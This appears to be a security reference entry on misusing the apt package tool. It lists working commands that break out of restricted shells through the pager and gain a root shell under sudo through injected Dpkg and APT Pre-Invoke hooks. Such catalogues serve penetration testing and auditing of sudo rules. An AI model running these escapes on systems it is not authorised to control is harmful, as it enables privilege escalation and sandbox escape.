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Shell | Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

This invokes the default pager, which is likely to be `less`, other functions may apply.

```
apt changelog apt
!/bin/sh
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

(a)

This invokes the default pager, which is likely to be `less`, other functions may apply.

```
sudo apt changelog apt
!/bin/sh
```

(b)

For this to work the target package (e.g., `sl`) must not be installed.

```
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
```

(c)

When the shell exits the `update` command is actually executed.

```
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
```